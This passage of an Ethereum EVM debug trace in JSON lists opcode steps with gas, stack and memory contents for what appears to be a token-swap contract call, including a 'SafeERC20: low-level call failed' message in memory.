0000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13804,"op":"POP","gas":79805,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13805,"op":"POP","gas":79803,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f","0x220","0x0","0x2a4","0x60","0x1","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13806,"op":"POP","gas":79801,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f","0x220","0x0","0x2a4","0x60","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13807,"op":"POP","gas":79799,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f","0x220","0x0","0x2a4","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13808,"op":"POP","gas":79797,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f","0x220","0x0","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13809,"op":"POP","gas":79795,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f","0x220","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13810,"op":"POP","gas":79793,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13811,"op":"JUMP","gas":79791,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x1c8f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7311,"op":"JUMPDEST","gas":79783,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7312,"op":"SWAP5","gas":79782,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7313,"op":"SWAP4","gas":79779,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x3406"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":7314,"op":"POP","gas":79776,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2e4","0x3406","0x220","0x2a4","0x60","0x4c711efa05b78582f07d9d960b1dadde95688166"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000